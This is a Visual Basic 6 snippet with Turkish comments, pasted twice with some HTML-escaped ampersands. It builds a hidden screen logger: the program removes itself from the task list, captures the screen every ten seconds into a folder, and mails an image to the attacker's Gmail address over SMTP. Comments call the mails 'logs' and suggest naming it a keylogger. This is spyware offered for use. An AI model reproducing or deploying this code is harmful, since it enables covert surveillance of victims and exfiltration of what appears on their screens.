Vb6 Take Screenshot and Send Mail

Private Sub Command1_Click()
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema &amp; "sendusing") = 2
Flds.Item(schema &amp; "smtpserver") = "smtp.gmail.com"
Flds.Item(schema &amp; "smtpserverport") = 465
Flds.Item(schema &amp; "smtpauthenticate") = 1
Flds.Item(schema &amp; "sendusername") = "kullanıcıadı" ’ gene gmail olması lazım.
Flds.Item(schema &amp; "sendpassword") = "şifre"
Flds.Item(schema &amp; "smtpusessl") = 1
Flds.Update
With iMsg
.To = "opensourceprojects.org" ’kendi mailinizi yazın ki loglar size gelsin.Gmail
.From = "Mail Post Server"
.Subject = "Loglar Geldi" ’kafanıza göre değiştirin keylogger vs.sallayın birşeyler
.HTMLbOdy = "Resim Görüntüsü"
.Organization = "Mail Organtion"
.ReplyTo = "-"
.AddAttachment "C:\\adsız.bmp" ’resmin bulunduğu adres
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub
------
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bscan As Byte, ByVal dwflags As Long, ByVal dwExtraInfo As Long)
Dim a, b
Public Function ScreenShot(ByVal Destination$) As Boolean
On Error Resume Next
DoEvents
Call keybd_event(vbKeySnapshot, 1, 0, 0)
DoEvents
SavePicture Clipboard.GetData(vbCFBitmap), Destination$
ScreenShot = True
End Function
Private Sub Timer1_Timer()
a = a + 1 ’kaydedilen resim ismi durmadan rakam olarak 1 fazla oluyor. Ör: 1.jpg, 2.jpg gibi.
ScreenShot b &amp; "/a" &amp; a &amp; ".jpg" ’Belirlenen yola kaydediyor.
End Sub
Private Sub Form_Load()
MkDir "C:\\a" ’Klasör oluşturuyor.
b = "C:\\a\\" ’Yolu belirliyor
Timer1.Interval = 10000 ’her 10 saniyede bir görüntü alınacak
App.TaskVisible = False
End Sub
==============================================================
Module Codes:
==============================================================
Public Function ScreenShot(ByVal Destination$) As Boolean
On Error Resume Next
DoEvents
SavePicture Clipboard.GetData(vbCFBitmap), Destination$
ScreenShot = True
End Function

Private Sub Command1_Click()

Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")

Set iConf = CreateObject("CDO.Configuration")

Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"

Flds.Item(schema & "sendusing") = 2

Flds.Item(schema & "smtpserver") = "smtp.gmail.com"

Flds.Item(schema & "smtpserverport") = 465

Flds.Item(schema & "smtpauthenticate") = 1

Flds.Item(schema & "sendusername") = "kullanıcıadı" ’ gene gmail olması lazım.

Flds.Item(schema & "sendpassword") = "şifre"

Flds.Item(schema & "smtpusessl") = 1

Flds.Update

With iMsg

.To = "opensourceprojects.org" ’kendi mailinizi yazın ki loglar size gelsin.Gmail

.From = "Mail Post Server"

.Subject = "Loglar Geldi" ’kafanıza göre değiştirin keylogger vs.sallayın birşeyler

.HTMLbOdy = "Resim Görüntüsü"

.Organization = "Mail Organtion"

.ReplyTo = "-"

.AddAttachment "C:\\adsız.bmp" ’resmin bulunduğu adres

Set .Configuration = iConf

SendEmailGmail = .Send

End With

End Sub

------

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bscan As Byte, ByVal dwflags As Long, ByVal dwExtraInfo As Long)

Dim a, b

Public Function ScreenShot(ByVal Destination$) As Boolean

On Error Resume Next

DoEvents

Call keybd_event(vbKeySnapshot, 1, 0, 0)

DoEvents

SavePicture Clipboard.GetData(vbCFBitmap), Destination$

ScreenShot = True

End Function

Private Sub Timer1_Timer()

a = a + 1 ’kaydedilen resim ismi durmadan rakam olarak 1 fazla oluyor. Ör: 1.jpg, 2.jpg gibi.

ScreenShot b & "/a" & a & ".jpg" ’Belirlenen yola kaydediyor.

End Sub

Private Sub Form_Load()

MkDir "C:\\a" ’Klasör oluşturuyor.

b = "C:\\a\\" ’Yolu belirliyor

Timer1.Interval = 10000 ’her 10 saniyede bir görüntü alınacak

App.TaskVisible = False

End Sub

==============================================================

Module Codes:

==============================================================

Public Function ScreenShot(ByVal Destination$) As Boolean

On Error Resume Next

DoEvents

SavePicture Clipboard.GetData(vbCFBitmap), Destination$

ScreenShot = True

End Function